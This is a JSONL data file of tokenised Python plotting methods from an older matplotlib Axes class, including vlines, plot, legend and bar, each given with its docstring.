{"signature": "def vlines(self, x, ymin, ymax, colors='<STR_LIT:k>', linestyles='<STR_LIT>',<EOL>label='<STR_LIT>', **kwargs):", "body": "if kwargs.get('<STR_LIT>') is not None:<EOL><INDENT>raise DeprecationWarning('<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>')<EOL><DEDENT>self._process_unit_info(xdata=x, ydata=ymin, kwargs=kwargs)<EOL>x = self.convert_xunits( x )<EOL>ymin = self.convert_yunits( ymin )<EOL>ymax = self.convert_yunits( ymax )<EOL>if not iterable(x): x = [x]<EOL>if not iterable(ymin): ymin = [ymin]<EOL>if not iterable(ymax): ymax = [ymax]<EOL>x = np.asarray(x)<EOL>ymin = np.asarray(ymin)<EOL>ymax = np.asarray(ymax)<EOL>if len(ymin)==<NUM_LIT:1>:<EOL><INDENT>ymin = np.resize( ymin, x.shape )<EOL><DEDENT>if len(ymax)==<NUM_LIT:1>:<EOL><INDENT>ymax = np.resize( ymax, x.shape )<EOL><DEDENT>if len(ymin)!=len(x):<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>if len(ymax)!=len(x):<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>Y = np.array([ymin, ymax]).T<EOL>verts = [ ((thisx, thisymin), (thisx, thisymax))<EOL>for thisx, (thisymin, thisymax) in zip(x,Y)]<EOL>coll = mcoll.LineCollection(verts, colors=colors,<EOL>linestyles=linestyles, label=label)<EOL>self.add_collection(coll)<EOL>coll.update(kwargs)<EOL>minx = min( x )<EOL>maxx = max( x )<EOL>miny = min( min(ymin), min(ymax) )<EOL>maxy = max( max(ymin), max(ymax) )<EOL>corners = (minx, miny), (maxx, maxy)<EOL>self.update_datalim(corners)<EOL>self.autoscale_view()<EOL>return coll<EOL>", "docstring": "call signature::\n\n  vlines(x, ymin, ymax, color='k', linestyles='solid')\n\nPlot vertical lines at each *x* from *ymin* to *ymax*.  *ymin*\nor *ymax* can be scalars or len(*x*) numpy arrays.  If they are\nscalars, then the respective values are constant, else the\nheights of the lines are determined by *ymin* and *ymax*.\n\n*colors*\n  a line collections color args, either a single color\n  or a len(*x*) list of colors\n\n*linestyles*\n\n  one of [ 'solid' | 'dashed' | 'dashdot' | 'dotted' ]\n\nReturns the :class:`matplotlib.collections.LineCollection`\nthat was added.\n\nkwargs are :class:`~matplotlib.collections.LineCollection` properties:\n\n%(LineCollection)s", "id": "f17238:c1:m137"}
{"signature": "def plot(self, *args, **kwargs):", "body": "scalex = kwargs.pop( '<STR_LIT>', True)<EOL>scaley = kwargs.pop( '<STR_LIT>', True)<EOL>if not self._hold: self.cla()<EOL>lines = []<EOL>for line in self._get_lines(*args, **kwargs):<EOL><INDENT>self.add_line(line)<EOL>lines.append(line)<EOL><DEDENT>self.autoscale_view(scalex=scalex, scaley=scaley)<EOL>return lines<EOL>", "docstring": "Plot lines and/or markers to the\n:class:`~matplotlib.axes.Axes`.  *args* is a variable length\nargument, allowing for multiple *x*, *y* pairs with an\noptional format string.  For example, each of the following is\nlegal::\n\n    plot(x, y)         # plot x and y using default line style and color\n    plot(x, y, 'bo')   # plot x and y using blue circle markers\n    plot(y)            # plot y using x as index array 0..N-1\n    plot(y, 'r+')      # ditto, but with red plusses\n\nIf *x* and/or *y* is 2-dimensional, then the corresponding columns\nwill be plotted.\n\nAn arbitrary number of *x*, *y*, *fmt* groups can be\nspecified, as in::\n\n    a.plot(x1, y1, 'g^', x2, y2, 'g-')\n\nReturn value is a list of lines that were added.\n\nThe following format string characters are accepted to control\nthe line style or marker:\n\n================    ===============================\ncharacter           description\n================    ===============================\n'-'                 solid line style\n'--'                dashed line style\n'-.'                dash-dot line style\n':'                 dotted line style\n'.'                 point marker\n','                 pixel marker\n'o'                 circle marker\n'v'                 triangle_down marker\n'^'                 triangle_up marker\n'<'                 triangle_left marker\n'>'                 triangle_right marker\n'1'                 tri_down marker\n'2'                 tri_up marker\n'3'                 tri_left marker\n'4'                 tri_right marker\n's'                 square marker\n'p'                 pentagon marker\n'*'                 star marker\n'h'                 hexagon1 marker\n'H'                 hexagon2 marker\n'+'                 plus marker\n'x'                 x marker\n'D'                 diamond marker\n'd'                 thin_diamond marker\n'|'                 vline marker\n'_'                 hline marker\n================    ===============================\n\n\nThe following color abbreviations are supported:\n\n==========  ========\ncharacter   color\n==========  ========\n'b'         blue\n'g'         green\n'r'         red\n'c'         cyan\n'm'         magenta\n'y'         yellow\n'k'         black\n'w'         white\n==========  ========\n\nIn addition, you can specify colors in many weird and\nwonderful ways, including full names (``'green'``), hex\nstrings (``'#008000'``), RGB or RGBA tuples (``(0,1,0,1)``) or\ngrayscale intensities as a string (``'0.8'``).  Of these, the\nstring specifications can be used in place of a ``fmt`` group,\nbut the tuple forms can be used only as ``kwargs``.\n\nLine styles and colors are combined in a single format string, as in\n``'bo'`` for blue circles.\n\nThe *kwargs* can be used to set line properties (any property that has\na ``set_*`` method).  You can use this to set a line label (for auto\nlegends), linewidth, anitialising, marker face color, etc.  Here is an\nexample::\n\n    plot([1,2,3], [1,2,3], 'go-', label='line 1', linewidth=2)\n    plot([1,2,3], [1,4,9], 'rs',  label='line 2')\n    axis([0, 4, 0, 10])\n    legend()\n\nIf you make multiple lines with one plot command, the kwargs\napply to all those lines, e.g.::\n\n    plot(x1, y1, x2, y2, antialised=False)\n\nNeither line will be antialiased.\n\nYou do not need to use format strings, which are just\nabbreviations.  All of the line properties can be controlled\nby keyword arguments.  For example, you can set the color,\nmarker, linestyle, and markercolor with::\n\n    plot(x, y, color='green', linestyle='dashed', marker='o',\n         markerfacecolor='blue', markersize=12).  See\n         :class:`~matplotlib.lines.Line2D` for details.\n\nThe kwargs are :class:`~matplotlib.lines.Line2D` properties:\n\n%(Line2D)s\n\nkwargs *scalex* and *scaley*, if defined, are passed on to\n:meth:`~matplotlib.axes.Axes.autoscale_view` to determine\nwhether the *x* and *y* axes are autoscaled; the default is\n*True*.", "id": "f17238:c1:m138"}
{"signature": "def plot_date(self, x, y, fmt='<STR_LIT>', tz=None, xdate=True, ydate=False,<EOL>**kwargs):", "body": "if not self._hold: self.cla()<EOL>ret = self.plot(x, y, fmt, **kwargs)<EOL>if xdate:<EOL><INDENT>self.xaxis_date(tz)<EOL><DEDENT>if ydate:<EOL><INDENT>self.yaxis_date(tz)<EOL><DEDENT>self.autoscale_view()<EOL>return ret<EOL>", "docstring": "call signature::\n\n  plot_date(x, y, fmt='bo', tz=None, xdate=True, ydate=False, **kwargs)\n\nSimilar to the :func:`~matplotlib.pyplot.plot` command, except\nthe *x* or *y* (or both) data is considered to be dates, and the\naxis is labeled accordingly.\n\n*x* and/or *y* can be a sequence of dates represented as float\ndays since 0001-01-01 UTC.\n\nKeyword arguments:\n\n  *fmt*: string\n    The plot format string.\n\n  *tz*: [ None | timezone string ]\n    The time zone to use in labeling dates. If *None*, defaults to rc\n    value.\n\n  *xdate*: [ True | False ]\n    If *True*, the *x*-axis will be labeled with dates.\n\n  *ydate*: [ False | True ]\n    If *True*, the *y*-axis will be labeled with dates.\n\nNote if you are using custom date tickers and formatters, it\nmay be necessary to set the formatters/locators after the call\nto :meth:`plot_date` since :meth:`plot_date` will set the\ndefault tick locator to\n:class:`matplotlib.ticker.AutoDateLocator` (if the tick\nlocator is not already set to a\n:class:`matplotlib.ticker.DateLocator` instance) and the\ndefault tick formatter to\n:class:`matplotlib.ticker.AutoDateFormatter` (if the tick\nformatter is not already set to a\n:class:`matplotlib.ticker.DateFormatter` instance).\n\nValid kwargs are :class:`~matplotlib.lines.Line2D` properties:\n\n%(Line2D)s\n\n.. seealso::\n    :mod:`~matplotlib.dates`:\n        for helper functions\n\n    :func:`~matplotlib.dates.date2num`,\n    :func:`~matplotlib.dates.num2date` and\n    :func:`~matplotlib.dates.drange`:\n        for help on creating the required floating point\n        dates.", "id": "f17238:c1:m139"}
{"signature": "def loglog(self, *args, **kwargs):", "body": "if not self._hold: self.cla()<EOL>dx = {'<STR_LIT>': kwargs.pop('<STR_LIT>', <NUM_LIT:10>),<EOL>'<STR_LIT>': kwargs.pop('<STR_LIT>', None),<EOL>}<EOL>dy = {'<STR_LIT>': kwargs.pop('<STR_LIT>', <NUM_LIT:10>),<EOL>'<STR_LIT>': kwargs.pop('<STR_LIT>', None),<EOL>}<EOL>self.set_xscale('<STR_LIT>', **dx)<EOL>self.set_yscale('<STR_LIT>', **dy)<EOL>b =  self._hold<EOL>self._hold = True <EOL>l = self.plot(*args, **kwargs)<EOL>self._hold = b    <EOL>return l<EOL>", "docstring": "call signature::\n\n  loglog(*args, **kwargs)\n\nMake a plot with log scaling on the *x* and *y* axis.\n\n:func:`~matplotlib.pyplot.loglog` supports all the keyword\narguments of :func:`~matplotlib.pyplot.plot` and\n:meth:`matplotlib.axes.Axes.set_xscale` /\n:meth:`matplotlib.axes.Axes.set_yscale`.\n\nNotable keyword arguments:\n\n  *basex*/*basey*: scalar > 1\n    base of the *x*/*y* logarithm\n\n  *subsx*/*subsy*: [ None | sequence ]\n    the location of the minor *x*/*y* ticks; *None* defaults\n    to autosubs, which depend on the number of decades in the\n    plot; see :meth:`matplotlib.axes.Axes.set_xscale` /\n    :meth:`matplotlib.axes.Axes.set_yscale` for details\n\nThe remaining valid kwargs are\n:class:`~matplotlib.lines.Line2D` properties:\n\n%(Line2D)s\n\n**Example:**\n\n.. plot:: mpl_examples/pylab_examples/log_demo.py", "id": "f17238:c1:m140"}
{"signature": "def semilogx(self, *args, **kwargs):", "body": "if not self._hold: self.cla()<EOL>d = {'<STR_LIT>': kwargs.pop( '<STR_LIT>', <NUM_LIT:10>),<EOL>'<STR_LIT>': kwargs.pop( '<STR_LIT>', None),<EOL>}<EOL>self.set_xscale('<STR_LIT>', **d)<EOL>b =  self._hold<EOL>self._hold = True <EOL>l = self.plot(*args, **kwargs)<EOL>self._hold = b    <EOL>return l<EOL>", "docstring": "call signature::\n\n  semilogx(*args, **kwargs)\n\nMake a plot with log scaling on the *x* axis.\n\n:func:`semilogx` supports all the keyword arguments of\n:func:`~matplotlib.pyplot.plot` and\n:meth:`matplotlib.axes.Axes.set_xscale`.\n\nNotable keyword arguments:\n\n  *basex*: scalar > 1\n    base of the *x* logarithm\n\n  *subsx*: [ None | sequence ]\n    The location of the minor xticks; *None* defaults to\n    autosubs, which depend on the number of decades in the\n    plot; see :meth:`~matplotlib.axes.Axes.set_xscale` for\n    details.\n\nThe remaining valid kwargs are\n:class:`~matplotlib.lines.Line2D` properties:\n\n%(Line2D)s\n\n.. seealso::\n    :meth:`loglog`:\n        For example code and figure", "id": "f17238:c1:m141"}
{"signature": "def semilogy(self, *args, **kwargs):", "body": "if not self._hold: self.cla()<EOL>d = {'<STR_LIT>': kwargs.pop('<STR_LIT>', <NUM_LIT:10>),<EOL>'<STR_LIT>': kwargs.pop('<STR_LIT>', None),<EOL>}<EOL>self.set_yscale('<STR_LIT>', **d)<EOL>b =  self._hold<EOL>self._hold = True <EOL>l = self.plot(*args, **kwargs)<EOL>self._hold = b    <EOL>return l<EOL>", "docstring": "call signature::\n\n  semilogy(*args, **kwargs)\n\nMake a plot with log scaling on the *y* axis.\n\n:func:`semilogy` supports all the keyword arguments of\n:func:`~matplotlib.pylab.plot` and\n:meth:`matplotlib.axes.Axes.set_yscale`.\n\nNotable keyword arguments:\n\n  *basey*: scalar > 1\n    Base of the *y* logarithm\n\n  *subsy*: [ None | sequence ]\n    The location of the minor yticks; *None* defaults to\n    autosubs, which depend on the number of decades in the\n    plot; see :meth:`~matplotlib.axes.Axes.set_yscale` for\n    details.\n\nThe remaining valid kwargs are\n:class:`~matplotlib.lines.Line2D` properties:\n\n%(Line2D)s\n\n.. seealso::\n    :meth:`loglog`:\n        For example code and figure", "id": "f17238:c1:m142"}
{"signature": "def acorr(self, x, **kwargs):", "body": "return self.xcorr(x, x, **kwargs)<EOL>", "docstring": "call signature::\n\n    acorr(x, normed=False, detrend=mlab.detrend_none, usevlines=False,\n          maxlags=None, **kwargs)\n\nPlot the autocorrelation of *x*.  If *normed* = *True*,\nnormalize the data by the autocorrelation at 0-th lag.  *x* is\ndetrended by the *detrend* callable (default no normalization).\n\nData are plotted as ``plot(lags, c, **kwargs)``\n\nReturn value is a tuple (*lags*, *c*, *line*) where:\n\n  - *lags* are a length 2*maxlags+1 lag vector\n\n  - *c* is the 2*maxlags+1 auto correlation vector\n\n  - *line* is a :class:`~matplotlib.lines.Line2D` instance\n    returned by :meth:`plot`\n\nThe default *linestyle* is None and the default *marker* is\n``'o'``, though these can be overridden with keyword args.\nThe cross correlation is performed with\n:func:`numpy.correlate` with *mode* = 2.\n\nIf *usevlines* is *True*, :meth:`~matplotlib.axes.Axes.vlines`\nrather than :meth:`~matplotlib.axes.Axes.plot` is used to draw\nvertical lines from the origin to the acorr.  Otherwise, the\nplot style is determined by the kwargs, which are\n:class:`~matplotlib.lines.Line2D` properties.\n\n*maxlags* is a positive integer detailing the number of lags\nto show.  The default value of *None* will return all\n:math:`2 \\mathrm{len}(x) - 1` lags.\n\nThe return value is a tuple (*lags*, *c*, *linecol*, *b*)\nwhere\n\n- *linecol* is the\n  :class:`~matplotlib.collections.LineCollection`\n\n- *b* is the *x*-axis.\n\n.. seealso::\n    :meth:`~matplotlib.axes.Axes.plot` or\n    :meth:`~matplotlib.axes.Axes.vlines`: For documentation on\n    valid kwargs.\n\n**Example:**\n\n:func:`~matplotlib.pyplot.xcorr` above, and\n:func:`~matplotlib.pyplot.acorr` below.\n\n**Example:**\n\n.. plot:: mpl_examples/pylab_examples/xcorr_demo.py", "id": "f17238:c1:m143"}
{"signature": "def xcorr(self, x, y, normed=False, detrend=mlab.detrend_none,<EOL>usevlines=False, maxlags=None, **kwargs):", "body": "Nx = len(x)<EOL>if Nx!=len(y):<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>x = detrend(np.asarray(x))<EOL>y = detrend(np.asarray(y))<EOL>c = np.correlate(x, y, mode=<NUM_LIT:2>)<EOL>if normed: c/= np.sqrt(np.dot(x,x) * np.dot(y,y))<EOL>if maxlags is None: maxlags = Nx - <NUM_LIT:1><EOL>if maxlags >= Nx or maxlags < <NUM_LIT:1>:<EOL><INDENT>raise ValueError('<STR_LIT>'<EOL>'<STR_LIT>'%Nx)<EOL><DEDENT>lags = np.arange(-maxlags,maxlags+<NUM_LIT:1>)<EOL>c = c[Nx-<NUM_LIT:1>-maxlags:Nx+maxlags]<EOL>if usevlines:<EOL><INDENT>a = self.vlines(lags, [<NUM_LIT:0>], c, **kwargs)<EOL>b = self.axhline(**kwargs)<EOL><DEDENT>else:<EOL><INDENT>kwargs.setdefault('<STR_LIT>', '<STR_LIT:o>')<EOL>kwargs.setdefault('<STR_LIT>', '<STR_LIT:None>')<EOL>a, = self.plot(lags, c, **kwargs)<EOL>b = None<EOL><DEDENT>return lags, c, a, b<EOL>", "docstring": "call signature::\n\n  xcorr(x, y, normed=False, detrend=mlab.detrend_none,\n        usevlines=False, **kwargs):\n\nPlot the cross correlation between *x* and *y*.  If *normed* =\n*True*, normalize the data by the cross correlation at 0-th\nlag.  *x* and y are detrended by the *detrend* callable\n(default no normalization).  *x* and *y* must be equal length.\n\nData are plotted as ``plot(lags, c, **kwargs)``\n\nReturn value is a tuple (*lags*, *c*, *line*) where:\n\n  - *lags* are a length ``2*maxlags+1`` lag vector\n\n  - *c* is the ``2*maxlags+1`` auto correlation vector\n\n  - *line* is a :class:`~matplotlib.lines.Line2D` instance\n     returned by :func:`~matplotlib.pyplot.plot`.\n\nThe default *linestyle* is *None* and the default *marker* is\n'o', though these can be overridden with keyword args.  The\ncross correlation is performed with :func:`numpy.correlate`\nwith *mode* = 2.\n\nIf *usevlines* is *True*:\n\n   :func:`~matplotlib.pyplot.vlines`\n   rather than :func:`~matplotlib.pyplot.plot` is used to draw\n   vertical lines from the origin to the xcorr.  Otherwise the\n   plotstyle is determined by the kwargs, which are\n   :class:`~matplotlib.lines.Line2D` properties.\n\n   The return value is a tuple (*lags*, *c*, *linecol*, *b*)\n   where *linecol* is the\n   :class:`matplotlib.collections.LineCollection` instance and\n   *b* is the *x*-axis.\n\n*maxlags* is a positive integer detailing the number of lags to show.\nThe default value of *None* will return all ``(2*len(x)-1)`` lags.\n\n**Example:**\n\n:func:`~matplotlib.pyplot.xcorr` above, and\n:func:`~matplotlib.pyplot.acorr` below.\n\n**Example:**\n\n.. plot:: mpl_examples/pylab_examples/xcorr_demo.py", "id": "f17238:c1:m144"}
{"signature": "def legend(self, *args, **kwargs):", "body": "def get_handles():<EOL><INDENT>handles = self.lines[:]<EOL>handles.extend(self.patches)<EOL>handles.extend([c for c in self.collections<EOL>if isinstance(c, mcoll.LineCollection)])<EOL>handles.extend([c for c in self.collections<EOL>if isinstance(c, mcoll.RegularPolyCollection)])<EOL>return handles<EOL><DEDENT>if len(args)==<NUM_LIT:0>:<EOL><INDENT>handles = []<EOL>labels = []<EOL>for handle in get_handles():<EOL><INDENT>label = handle.get_label()<EOL>if (label is not None and<EOL>label != '<STR_LIT>' and not label.startswith('<STR_LIT:_>')):<EOL><INDENT>handles.append(handle)<EOL>labels.append(label)<EOL><DEDENT><DEDENT>if len(handles) == <NUM_LIT:0>:<EOL><INDENT>warnings.warn(\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL>return None<EOL><DEDENT><DEDENT>elif len(args)==<NUM_LIT:1>:<EOL><INDENT>labels = args[<NUM_LIT:0>]<EOL>handles = [h for h, label in zip(get_handles(), labels)]<EOL><DEDENT>elif len(args)==<NUM_LIT:2>:<EOL><INDENT>if is_string_like(args[<NUM_LIT:1>]) or isinstance(args[<NUM_LIT:1>], int):<EOL><INDENT>labels, loc = args<EOL>handles = [h for h, label in zip(get_handles(), labels)]<EOL>kwargs['<STR_LIT>'] = loc<EOL><DEDENT>else:<EOL><INDENT>handles, labels = args<EOL><DEDENT><DEDENT>elif len(args)==<NUM_LIT:3>:<EOL><INDENT>handles, labels, loc = args<EOL>kwargs['<STR_LIT>'] = loc<EOL><DEDENT>else:<EOL><INDENT>raise TypeError('<STR_LIT>')<EOL><DEDENT>handles = cbook.flatten(handles)<EOL>self.legend_ = mlegend.Legend(self, handles, labels, **kwargs)<EOL>return self.legend_<EOL>", "docstring": "call signature::\n\n  legend(*args, **kwargs)\n\nPlace a legend on the current axes at location *loc*.  Labels are a\nsequence of strings and *loc* can be a string or an integer specifying\nthe legend location.\n\nTo make a legend with existing lines::\n\n  legend()\n\n:meth:`legend` by itself will try and build a legend using the label\nproperty of the lines/patches/collections.  You can set the label of\na line by doing::\n\n  plot(x, y, label='my data')\n\nor::\n\n  line.set_label('my data').\n\nIf label is set to '_nolegend_', the item will not be shown in\nlegend.\n\nTo automatically generate the legend from labels::\n\n  legend( ('label1', 'label2', 'label3') )\n\nTo make a legend for a list of lines and labels::\n\n  legend( (line1, line2, line3), ('label1', 'label2', 'label3') )\n\nTo make a legend at a given location, using a location argument::\n\n  legend( ('label1', 'label2', 'label3'), loc='upper left')\n\nor::\n\n  legend( (line1, line2, line3),  ('label1', 'label2', 'label3'), loc=2)\n\nThe location codes are\n\n  ===============   =============\n  Location String   Location Code\n  ===============   =============\n  'best'            0\n  'upper right'     1\n  'upper left'      2\n  'lower left'      3\n  'lower right'     4\n  'right'           5\n  'center left'     6\n  'center right'    7\n  'lower center'    8\n  'upper center'    9\n  'center'          10\n  ===============   =============\n\nIf none of these are locations are suitable, loc can be a 2-tuple\ngiving x,y in axes coords, ie::\n\n  loc = 0, 1 # left top\n  loc = 0.5, 0.5 # center\n\nKeyword arguments:\n\n  *isaxes*: [ True | False ]\n    Indicates that this is an axes legend\n\n  *numpoints*: integer\n    The number of points in the legend line, default is 4\n\n  *prop*: [ None | FontProperties ]\n    A :class:`matplotlib.font_manager.FontProperties`\n    instance, or *None* to use rc settings.\n\n  *pad*: [ None | scalar ]\n    The fractional whitespace inside the legend border, between 0 and 1.\n    If *None*, use rc settings.\n\n  *markerscale*: [ None | scalar ]\n    The relative size of legend markers vs. original. If *None*, use rc\n    settings.\n\n  *shadow*: [ None | False | True ]\n    If *True*, draw a shadow behind legend. If *None*, use rc settings.\n\n  *labelsep*: [ None | scalar ]\n    The vertical space between the legend entries. If *None*, use rc\n    settings.\n\n  *handlelen*: [ None | scalar ]\n    The length of the legend lines. If *None*, use rc settings.\n\n  *handletextsep*: [ None | scalar ]\n    The space between the legend line and legend text. If *None*, use rc\n    settings.\n\n  *axespad*: [ None | scalar ]\n    The border between the axes and legend edge. If *None*, use rc\n    settings.\n\n**Example:**\n\n.. plot:: mpl_examples/api/legend_demo.py", "id": "f17238:c1:m145"}
{"signature": "def step(self, x, y, *args, **kwargs):", "body": "where = kwargs.pop('<STR_LIT>', '<STR_LIT>')<EOL>if where not in ('<STR_LIT>', '<STR_LIT>', '<STR_LIT>'):<EOL><INDENT>raise ValueError(\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL><DEDENT>kwargs['<STR_LIT>'] = '<STR_LIT>' + where<EOL>return self.plot(x, y, *args, **kwargs)<EOL>", "docstring": "call signature::\n\n  step(x, y, *args, **kwargs)\n\nMake a step plot. Additional keyword args to :func:`step` are the same\nas those for :func:`~matplotlib.pyplot.plot`.\n\n*x* and *y* must be 1-D sequences, and it is assumed, but not checked,\nthat *x* is uniformly increasing.\n\nKeyword arguments:\n\n*where*: [ 'pre' | 'post' | 'mid'  ]\n  If 'pre', the interval from x[i] to x[i+1] has level y[i]\n\n  If 'post', that interval has level y[i+1]\n\n  If 'mid', the jumps in *y* occur half-way between the\n  *x*-values.", "id": "f17238:c1:m146"}
{"signature": "def bar(self, left, height, width=<NUM_LIT>, bottom=None,<EOL>color=None, edgecolor=None, linewidth=None,<EOL>yerr=None, xerr=None, ecolor=None, capsize=<NUM_LIT:3>,<EOL>align='<STR_LIT>', orientation='<STR_LIT>', log=False,<EOL>**kwargs<EOL>):", "body": "if not self._hold: self.cla()<EOL>label = kwargs.pop('<STR_LIT:label>', '<STR_LIT>')<EOL>def make_iterable(x):<EOL><INDENT>if not iterable(x):<EOL><INDENT>return [x]<EOL><DEDENT>else:<EOL><INDENT>return x<EOL><DEDENT><DEDENT>_left = left<EOL>left = make_iterable(left)<EOL>height = make_iterable(height)<EOL>width = make_iterable(width)<EOL>_bottom = bottom<EOL>bottom = make_iterable(bottom)<EOL>linewidth = make_iterable(linewidth)<EOL>adjust_ylim = False<EOL>adjust_xlim = False<EOL>if orientation == '<STR_LIT>':<EOL><INDENT>self._process_unit_info(xdata=left, ydata=height, kwargs=kwargs)<EOL>if log:<EOL><INDENT>self.set_yscale('<STR_LIT>')<EOL><DEDENT>if _bottom is None:<EOL><INDENT>if self.get_yscale() == '<STR_LIT>':<EOL><INDENT>bottom = [<NUM_LIT>]<EOL>adjust_ylim = True<EOL><DEDENT>else:<EOL><INDENT>bottom = [<NUM_LIT:0>]<EOL><DEDENT><DEDENT>nbars = len(left)<EOL>if len(width) == <NUM_LIT:1>:<EOL><INDENT>width *= nbars<EOL><DEDENT>if len(bottom) == <NUM_LIT:1>:<EOL><INDENT>bottom *= nbars<EOL><DEDENT><DEDENT>elif orientation == '<STR_LIT>':<EOL><INDENT>self._process_unit_info(xdata=width, ydata=bottom, kwargs=kwargs)<EOL>if log:<EOL><INDENT>self.set_xscale('<STR_LIT>')<EOL><DEDENT>if _left is None:<EOL><INDENT>if self.get_xscale() == '<STR_LIT>':<EOL><INDENT>left = [<NUM_LIT>]<EOL>adjust_xlim = True<EOL><DEDENT>else:<EOL><INDENT>left = [<NUM_LIT:0>]<EOL><DEDENT><DEDENT>nbars = len(bottom)<EOL>if len(left) == <NUM_LIT:1>:<EOL><INDENT>left *= nbars<EOL><DEDENT>if len(height) == <NUM_LIT:1>:<EOL><INDENT>height *= nbars<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise ValueError('<STR_LIT>' % orientation)<EOL><DEDENT>if len(linewidth) < nbars:<EOL><INDENT>linewidth *= nbars<EOL><DEDENT>if color is None:<EOL><INDENT>color = [None] * nbars<EOL><DEDENT>else:<EOL><INDENT>color = list(mcolors.colorConverter.to_rgba_array(color))<EOL>if len(color) < nbars:<EOL><INDENT>color *= nbars<EOL><DEDENT><DEDENT>if edgecolor is None:<EOL><INDENT>edgecolor = [None] * nbars<EOL><DEDENT>else:<EOL><INDENT>edgecolor = list(mcolors.colorConverter.to_rgba_array(edgecolor))<EOL>if len(edgecolor) < nbars:<EOL><INDENT>edgecolor *= nbars<EOL><DEDENT><DEDENT>if yerr is not None:<EOL><INDENT>if not iterable(yerr):<EOL><INDENT>yerr = [yerr]*nbars<EOL><DEDENT><DEDENT>if xerr is not None:<EOL><INDENT>if not iterable(xerr):<EOL><INDENT>xerr = [xerr]*nbars<EOL><DEDENT><DEDENT>assert len(left)==nbars, \"<STR_LIT>\" % nbars<EOL>assert len(height)==nbars, (\"<STR_LIT>\" %<EOL>nbars)<EOL>assert len(width)==nbars, (\"<STR_LIT>\" %<EOL>nbars)<EOL>assert len(bottom)==nbars, (\"<STR_LIT>\" %<EOL>nbars)<EOL>if yerr is not None and len(yerr)!=nbars:<EOL><INDENT>raise ValueError(<EOL>\"<STR_LIT>\" % nbars)<EOL><DEDENT>if xerr is not None and len(xerr)!=nbars:<EOL><INDENT>raise ValueError(<EOL>\"<STR_LIT>\" % nbars)<EOL><DEDENT>patches = []<EOL>if self.xaxis is not None:<EOL><INDENT>xconv = self.xaxis.converter<EOL>if xconv is not None:<EOL><INDENT>units = self.xaxis.get_units()<EOL>left = xconv.convert( left, units )<EOL>width = xconv.convert( width, units )<EOL><DEDENT><DEDENT>if self.yaxis is not None:<EOL><INDENT>yconv = self.yaxis.converter<EOL>if yconv is not None :<EOL><INDENT>units = self.yaxis.get_units()<EOL>bottom = yconv.convert( bottom, units )<EOL>height = yconv.convert( height, units )<EOL><DEDENT><DEDENT>if align == '<STR_LIT>':<EOL><INDENT>pass<EOL><DEDENT>elif align == '<STR_LIT>':<EOL><INDENT>if orientation == '<STR_LIT>':<EOL><INDENT>left = [left[i] - width[i]/<NUM_LIT> for i in range(len(left))]<EOL><DEDENT>elif orientation == '<STR_LIT>':<EOL><INDENT>bottom = [bottom[i] - height[i]/<NUM_LIT> for i in range(len(bottom))]<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise ValueError('<STR_LIT>' % align)<EOL><DEDENT>args = list(zip(left, bottom, width, height, color, edgecolor, linewidth))<EOL>for l, b, w, h, c, e, lw in args:<EOL><INDENT>if h<<NUM_LIT:0>:<EOL><INDENT>b += h<EOL>h = abs(h)<EOL><DEDENT>if w<<NUM_LIT:0>:<EOL><INDENT>l += w<EOL>w = abs(w)<EOL><DEDENT>r = mpatches.Rectangle(<EOL>xy=(l, b), width=w, height=h,<EOL>facecolor=c,<EOL>edgecolor=e,<EOL>linewidth=lw,<EOL>label=label<EOL>)<EOL>label = '<STR_LIT>'<EOL>r.update(kwargs)<EOL>self.add_patch(r)<EOL>patches.append(r)<EOL><DEDENT>holdstate = self._hold<EOL>self.hold(True) <EOL>if xerr is not None or yerr is not None:<EOL><INDENT>if orientation == '<STR_LIT>':<EOL><INDENT>x = [l+<NUM_LIT:0.5>*w for l, w in zip(left, width)]<EOL>y = [b+h for b,h in zip(bottom, height)]<EOL><DEDENT>elif orientation == '<STR_LIT>':<EOL><INDENT>x = [l+w for l,w in zip(left, width)]<EOL>y = [b+<NUM_LIT:0.5>*h for b,h in zip(bottom, height)]<EOL><DEDENT>self.errorbar(<EOL>x, y,<EOL>yerr=yerr, xerr=xerr,<EOL>fmt=None, ecolor=ecolor, capsize=capsize)<EOL><DEDENT>self.hold(holdstate) <EOL>if adjust_xlim:<EOL><INDENT>xmin, xmax = self.dataLim.intervalx<EOL>xmin = np.amin(width[width!=<NUM_LIT:0>]) <EOL>if xerr is not None:<EOL><INDENT>xmin = xmin - np.amax(xerr)<EOL><DEDENT>xmin = max(xmin*<NUM_LIT>, <NUM_LIT>)<EOL>self.dataLim.intervalx = (xmin, xmax)<EOL><DEDENT>if adjust_ylim:<EOL><INDENT>ymin, ymax = self.dataLim.intervaly<EOL>ymin = np.amin(height[height!=<NUM_LIT:0>]) <EOL>if yerr is not None:<EOL><INDENT>ymin = ymin - np.amax(yerr)<EOL><DEDENT>ymin = max(ymin*<NUM_LIT>, <NUM_LIT>)<EOL>self.dataLim.intervaly = (ymin, ymax)<EOL><DEDENT>self.autoscale_view()<EOL>return patches<EOL>", "docstring": "call signature::\n\n  bar(left, height, width=0.8, bottom=0,\n      color=None, edgecolor=None, linewidth=None,\n      yerr=None, xerr=None, ecolor=None, capsize=3,\n      align='edge', orientation='vertical', log=False)\n\nMake a bar plot with rectangles bounded by:\n\n  *left*, *left* + *width*, *bottom*, *bottom* + *height*\n        (left, right, bottom and top edges)\n\n*left*, *height*, *width*, and *bottom* can be either scalars\nor sequences\n\nReturn value is a list of\n:class:`matplotlib.patches.Rectangle` instances.\n\nRequired arguments:\n\n  ========   ===============================================\n  Argument   Description\n  ========   ===============================================\n  *left*     the x coordinates of the left sides of the bars\n  *height*   the heights of the bars\n  ========   ===============================================\n\nOptional keyword arguments:\n\n  ===============   ==========================================\n  Keyword           Description\n  ===============   ==========================================\n  *width*           the widths of the bars\n  *bottom*          the y coordinates of the bottom edges of\n                    the bars\n  *color*           the colors of the bars\n  *edgecolor*       the colors of the bar edges\n  *linewidth*       width of bar edges; None means use default\n                    linewidth; 0 means don't draw edges.\n  *xerr*            if not None, will be used to generate\n                    errorbars on the bar chart\n  *yerr*            if not None, will be used to generate\n                    errorbars on the bar chart\n  *ecolor*          specifies the color of any errorbar\n  *capsize*         (default 3) determines the length in\n                    points of the error bar caps\n  *align*           'edge' (default) | 